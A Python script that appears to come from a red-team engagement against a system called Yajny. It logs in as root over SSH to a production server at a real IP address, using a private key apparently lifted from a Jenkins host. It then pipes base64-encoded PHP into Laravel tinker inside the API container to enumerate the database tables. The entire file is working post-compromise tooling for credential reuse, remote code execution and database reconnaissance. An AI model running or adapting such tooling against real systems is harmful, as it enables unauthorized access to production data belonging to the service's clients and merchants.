#!/usr/bin/env python3
"""Query Yajny production MySQL — client/merchant/access enumeration.
"""
import subprocess
import base64
import sys

HOST = "root@46.101.74.150"
KEY = "/root/ir-assessment/redteam/yajny/L3/ssh_keys/jenkins-host-id_rsa.pem"
CONTAINER = "yajny-api"

QUERIES = [
    'echo "===TABLES_REMAINING===";',
    '$t = DB::select("SHOW TABLES");',
    'foreach($t as $r) { foreach($r as $v) { echo $v."\n"; } }',
    'echo "===TOTAL_TABLES===";',
    'echo count($t)."\n";',
    'exit;',
]

def run_tinker(queries):
    code = "\n".join(queries)
    b64 = base64.b64encode(code.encode()).decode()
    cmd = [
        "ssh", "-i", KEY, "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=accept-new",
        HOST,
        f'echo {b64} | base64 -d | docker exec -i {CONTAINER} php /var/www/html/artisan tinker 2>&1'
    ]
    r = subprocess.run(cmd, capture_output=True, text=True, timeout=90)
    return r.stdout, r.stderr, r.returncode

if __name__ == "__main__":
    out, err, rc = run_tinker(QUERIES)
    print(out)
    if rc != 0 and not out:
        print(f"[!] rc={rc}", file=sys.stderr)
        print(err, file=sys.stderr)